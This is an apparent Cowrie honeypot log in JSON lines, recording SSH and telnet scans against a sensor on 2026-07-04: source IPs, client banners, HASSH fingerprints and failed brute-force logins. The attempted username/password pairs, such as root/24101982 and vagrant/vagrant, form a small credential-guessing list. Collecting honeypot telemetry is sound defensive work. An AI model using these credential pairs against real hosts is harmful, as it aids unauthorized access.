{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":37000,"dst_ip":"10.17.0.5","dst_port":22,"session":"a63ecb4a7fae","protocol":"ssh","message":"New connection: 46.19.67.181:37000 (10.17.0.5:22) [session: a63ecb4a7fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:56.724129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:56.728609Z","src_ip":"46.19.67.181","session":"a63ecb4a7fae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:56.839797Z","src_ip":"46.19.67.181","session":"a63ecb4a7fae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24101982","message":"login attempt [root/24101982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:57.177677Z","src_ip":"46.19.67.181","session":"a63ecb4a7fae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:57.327717Z","src_ip":"8.210.75.243","session":"2bb9c6d9bc90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:05:58.291163Z","src_ip":"46.19.67.181","session":"a63ecb4a7fae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":33438,"dst_ip":"10.17.0.5","dst_port":22,"session":"9651d8cf04e2","protocol":"ssh","message":"New connection: 165.154.137.186:33438 (10.17.0.5:22) [session: 9651d8cf04e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:08.213276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:08.217103Z","src_ip":"165.154.137.186","session":"9651d8cf04e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:08.461323Z","src_ip":"165.154.137.186","session":"9651d8cf04e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:09.195449Z","src_ip":"165.154.137.186","session":"9651d8cf04e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":39834,"dst_ip":"10.17.0.5","dst_port":22,"session":"5320d336267a","protocol":"ssh","message":"New connection: 192.169.197.250:39834 (10.17.0.5:22) [session: 5320d336267a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:09.873477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:09.878005Z","src_ip":"192.169.197.250","session":"5320d336267a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:09.944745Z","src_ip":"192.169.197.250","session":"5320d336267a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AVAX#Tr0ng!P@ss","message":"login attempt [root/AVAX#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:10.141772Z","src_ip":"192.169.197.250","session":"5320d336267a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:10.442122Z","src_ip":"165.154.137.186","session":"9651d8cf04e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:11.208606Z","src_ip":"192.169.197.250","session":"5320d336267a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.208","src_port":58804,"dst_ip":"159.203.135.109","dst_port":22,"session":"0384540948ad","protocol":"ssh","message":"New connection: 198.235.24.208:58804 (159.203.135.109:22) [session: 0384540948ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:15.264079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:16.137605Z","src_ip":"198.235.24.208","session":"0384540948ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:16.269255Z","src_ip":"8.210.75.243","session":"4ca67a063c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.234","src_port":59760,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d74d8e06638","protocol":"ssh","message":"New connection: 14.103.127.234:59760 (159.203.135.109:22) [session: 0d74d8e06638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:17.351940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:17.358118Z","src_ip":"14.103.127.234","session":"0d74d8e06638","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:17.364347Z","src_ip":"198.235.24.208","session":"0384540948ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:20.024059Z","src_ip":"14.103.127.234","session":"0d74d8e06638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.24609088897705,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:20.027916Z","src_ip":"170.64.224.25","session":"ac5aa847d24f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"234","message":"login attempt [root/234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:20.731227Z","src_ip":"14.103.127.234","session":"0d74d8e06638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:23.835707Z","src_ip":"14.103.127.234","session":"0d74d8e06638","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:25.205357Z","src_ip":"198.235.24.208","session":"0384540948ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:35.443299Z","src_ip":"8.210.75.243","session":"d8e3e2a34442","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"4475f7609211","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: 4475f7609211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:42.248651Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:42.354586Z","src_ip":"77.90.185.16","session":"4475f7609211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:42.919292Z","src_ip":"8.210.75.243","session":"c6795737fb54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:48.330827Z","src_ip":"8.210.75.243","session":"d2cfa33b993d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":39726,"dst_ip":"159.203.135.109","dst_port":22,"session":"1edfb50fd3be","protocol":"ssh","message":"New connection: 199.192.25.149:39726 (159.203.135.109:22) [session: 1edfb50fd3be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:49.219822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:49.226320Z","src_ip":"199.192.25.149","session":"1edfb50fd3be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:49.291100Z","src_ip":"199.192.25.149","session":"1edfb50fd3be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iota123","password":"iota123","message":"login attempt [iota123/iota123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:49.487316Z","src_ip":"199.192.25.149","session":"1edfb50fd3be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:50.553970Z","src_ip":"199.192.25.149","session":"1edfb50fd3be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57294,"dst_ip":"159.203.135.109","dst_port":23,"session":"06ebba6b700c","protocol":"telnet","message":"New connection: 170.64.224.25:57294 (159.203.135.109:23) [session: 06ebba6b700c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:06:53.582976Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:07:23.366527Z","src_ip":"8.210.75.243","session":"4adf05c26d78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":44466,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d5370645887","protocol":"ssh","message":"New connection: 2.57.122.209:44466 (10.17.0.5:22) [session: 7d5370645887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:07:28.566068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:07:29.112716Z","src_ip":"2.57.122.209","session":"7d5370645887","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:07:29.115096Z","src_ip":"2.57.122.209","session":"7d5370645887","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"21","message":"login attempt [admin/21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:07:30.969214Z","src_ip":"2.57.122.209","session":"7d5370645887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:07:32.343825Z","src_ip":"2.57.122.209","session":"7d5370645887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:07:33.923063Z","src_ip":"8.210.75.243","session":"ad048b6efafa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.750901222229,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:08:01.333783Z","src_ip":"170.64.224.25","session":"06ebba6b700c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.111.155","src_port":59740,"dst_ip":"10.17.0.5","dst_port":22,"session":"92c02e603e82","protocol":"ssh","message":"New connection: 101.36.111.155:59740 (10.17.0.5:22) [session: 92c02e603e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:08:28.451298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:08:28.455309Z","src_ip":"101.36.111.155","session":"92c02e603e82","protocol":"ssh"}
